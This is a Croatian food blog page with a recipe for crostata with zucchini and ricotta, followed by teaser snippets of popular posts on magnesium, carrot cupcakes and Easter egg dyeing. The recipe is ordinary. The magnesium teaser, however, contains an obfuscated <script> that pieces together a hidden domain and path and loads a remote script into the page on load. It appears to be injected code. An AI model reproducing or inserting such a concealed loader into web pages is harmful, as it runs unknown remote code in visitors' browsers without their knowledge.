CROSTATA S TIKVICAMA I RICOTTOM




Crostata s tikvicama i ricottom 




Slane pite, tartovi, crostate jela su koja spajaju tijesto, i to prhko, sa sočnim nadjevom od povrća. Iako su vrlo slična, ipak se razlikuju u nekim detaljima pa otud i različiti nazivi. Crostata, koju vam danas donosimo, taljanska je rustikalna pita koja se peče na limu za pečenje i kojoj se rubovi savinu preko nadjeva. Izgledom je kao francuski galette. Svakako, riječ je o vrlo primamljivim jelima,  kako zbog lijepog izgleda tako i zbog kombinacije hrskavog, prhkog tijesta i sočnog nadjeva.




Crostata s tikvicama i ricottom 


Sastojci:

Tijesto:

300 g glatkog brašna
150 g hladnog maslaca
50 g parmezana
2 žumanjka
5 g soli
1–2 žlice hladne vode po potrebi


Nadjev:

500 g tikvica
250 g ricotte
50 g parmezana
3 mlada luka
2 jaja
korica pola limuna
maslinovo ulje
sol i papar



Priprema:

Pomiješajte brašno, ribani parmezan i sol pa utrljajte maslac dok ne dobijete mrvičastu smjesu. Dodajte jaje i kratko umijesite tijesto. Ako je potrebno, dodajte malo hladne vode. Oblikujte disk i ostavite u hladnjaku najmanje 30 minuta.

Tikvice narežite na tanke ploške, a mladi luk na kolutiće. Na maslinovu ulju kratko ih dinstajte 5–6 minuta, samo da omekšaju i izgube dio vlage. Pustite da se prohladi prije dovršetka nadjeva.

Ricottu pomiješajte s jajima, parmezanom, limunovom koricom, solju i paprom. Umiješajte tikvice i mladi luk.

Na pek papiru razvaljajte tijesto u krug promjera 32 - 35 cm i stavite na lim za pečenje. Pospite preko tijesta 2 - 3 žlice krušnih mrvica. Nadjev rasporedite po sredini ostavljajući rub od 4–5 cm. Rubove preklopite prema sredini tako da dio nadjeva ostane vidljiv.

Pecite 35–40 minuta na 190 °C dok tijesto ne postane zlatno.

Pustite crostatu da odmori 20 - ak minuta prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više